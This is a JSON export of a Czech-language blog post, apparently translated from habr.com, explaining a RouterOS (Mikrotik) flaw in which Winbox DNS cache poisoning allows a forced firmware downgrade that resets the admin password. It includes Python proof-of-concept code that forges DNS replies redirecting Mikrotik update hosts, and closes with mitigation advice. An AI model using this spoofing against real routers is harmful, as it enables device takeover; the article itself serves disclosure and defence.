{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Backport zranitelnosti v RouterOS ohro\u017euje stovky tis\u00edc za\u0159\u00edzen\u00ed","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"Backport
\n
\nMo\u017enost vzd\u00e1len\u00e9ho sn\u00ed\u017een\u00ed za\u0159\u00edzen\u00ed na b\u00e1zi RouterOS (Mikrotik) ohro\u017euje stovky tis\u00edc s\u00ed\u0165ov\u00fdch za\u0159\u00edzen\u00ed. Zranitelnost je spojena s otr\u00e1ven\u00edm DNS cache protokolu Winbox a umo\u017e\u0148uje na\u010d\u00edst zastaral\u00fd (s obnoven\u00edm hesla na 'v\u00fdchoz\u00ed') nebo modifikovan\u00fd firmware do za\u0159\u00edzen\u00ed.
\n<\/a><\/noindex>
\n\"Backport
\n<\/p>\n

Podrobnosti o zranitelnosti<\/h3>\n

\nTermin\u00e1l RouterOS podporuje p\u0159\u00edkaz pro vyhled\u00e1v\u00e1n\u00ed DNS.<\/p>\n

\"Backport
\n
\nTento po\u017eadavek zpracov\u00e1v\u00e1 bin\u00e1rn\u00ed soubor s n\u00e1zvem resolver. Resolver je jedn\u00edm z mnoha bin\u00e1rn\u00edch soubor\u016f, kter\u00e9 jsou p\u0159ipojeny k protokolu Winbox od RouterOS. Na vysok\u00e9 \u00farovni mohou b\u00fdt 'zpr\u00e1vy' odes\u00edlan\u00e9 na port Winbox sm\u011brov\u00e1ny do r\u016fzn\u00fdch bin\u00e1rn\u00edch soubor\u016f v RouterOS na z\u00e1klad\u011b sch\u00e9matu \u010d\u00edslov\u00e1n\u00ed zalo\u017een\u00e9ho na poli.<\/p>\n

Ve v\u00fdchoz\u00edm nastaven\u00ed je v RouterOS funkce DNS serveru deaktivov\u00e1na.<\/p>\n

\"Backport
\n
\nNicm\u00e9n\u011b i p\u0159i deaktivovan\u00e9 funkci serveru sm\u011brova\u010d podporuje svou vlastn\u00ed DNS cache.<\/p>\n

\"Backport
\n
\nKdy\u017e provedeme po\u017eadavek pomoc\u00ed winbox_dns_request, nap\u0159\u00edklad example.com, sm\u011brova\u010d bude cachovat v\u00fdsledek.<\/p>\n

\"Backport
\n
\nJeliko\u017e m\u016f\u017eeme ur\u010dit DNS server, p\u0159es kter\u00fd by m\u011bl po\u017eadavek proj\u00edt, je triv\u00e1ln\u00ed zad\u00e1vat neplatn\u00e9 adresy. Nap\u0159\u00edklad je mo\u017en\u00e9 nakonfigurovat implementaci DNS serveru od Philippe Klaus<\/a><\/noindex>, aby v\u017edy odpov\u00eddal z\u00e1znamem A obsahuj\u00edc\u00edm IP adresu 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Odpov\u011b\u010f:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nNyn\u00ed, pokud pomoc\u00ed Winboxu vyhled\u00e1te example.com, m\u016f\u017eete vid\u011bt, \u017ee DNS cache sm\u011brova\u010de byla otr\u00e1vena.<\/p>\n
\"Backport
\n
\nSamoz\u0159ejm\u011b, otr\u00e1ven\u00ed example.com nen\u00ed p\u0159\u00edli\u0161 u\u017eite\u010dn\u00e9, proto\u017ee sm\u011brova\u010d ho ve skute\u010dnosti nebude pou\u017e\u00edvat. Nicm\u00e9n\u011b sm\u011brova\u010d pot\u0159ebuje p\u0159\u00edstup k upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com a download.mikrotik.com. A d\u00edky dal\u0161\u00ed chyb\u011b existuje mo\u017enost otr\u00e1vit je v\u0161echny najednou.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Odpov\u011b\u010f:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nRouter po\u017eaduje jedno povolen\u00ed, a my vrac\u00edme p\u011bt odpov\u011bd\u00ed. Router nespr\u00e1vn\u011b ukl\u00e1d\u00e1 v\u0161echny tyto odpov\u011bdi do mezipam\u011bti.<\/p>\n
\"Backport
\n
\nJe jasn\u00e9, \u017ee tento \u00fatok je u\u017eite\u010dn\u00fd i tehdy, kdy\u017e router funguje jako DNS server, proto\u017ee umo\u017e\u0148uje \u00fatok na klienty routeru.<\/p>\n
Tento \u00fatok tak\u00e9 umo\u017e\u0148uje zneu\u017e\u00edt z\u00e1va\u017en\u011bj\u0161\u00ed zranitelnost: prov\u00e9st downgrade nebo backport verze RouterOS. \u00dato\u010dn\u00edk reprodukuje logiku serveru pro aktualizace, v\u010detn\u011b changelogu, a nut\u00ed RouterOS pova\u017eovat zastaralou (zranitelnou) verzi za aktu\u00e1ln\u00ed. Nebezpe\u010d\u00ed spo\u010d\u00edv\u00e1 v tom, \u017ee p\u0159i 'aktualizaci' verze je heslo spr\u00e1vce resetov\u00e1no na 'v\u00fdchoz\u00ed' hodnotu \u2014 \u00fato\u010dn\u00edk m\u016f\u017ee vstoupit do syst\u00e9mu s pr\u00e1zdn\u00fdm heslem!<\/p>\n
\r\n        \"P\u0159ehr\u00e1t\r\n        
<\/div>\r\n    <\/div><\/center>
\n\u00datok je pln\u011b funk\u010dn\u00ed, i kdy\u017e autor<\/a><\/noindex> realizuje je\u0161t\u011b n\u011bkolik vektor\u016f, kter\u00e9 se t\u00fdkaj\u00ed i implantace backdooru do firmwaru<\/a><\/noindex>, ale to u\u017e je nadbyte\u010dn\u00e1 technika a jej\u00ed pou\u017eit\u00ed k neleg\u00e1ln\u00edm \u00fa\u010del\u016fm je protipr\u00e1vn\u00ed.<\/p>\n
Ochrana<\/h3>\n
\nJednoduch\u00e9 vypnut\u00ed Winboxu pom\u00e1h\u00e1 chr\u00e1nit p\u0159ed t\u011bmito \u00fatoky. I kdy\u017e je spr\u00e1va p\u0159es Winbox pohodln\u00e1, je lep\u0161\u00ed vyu\u017e\u00edt protokol SSH.
\n
Zdroj: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. 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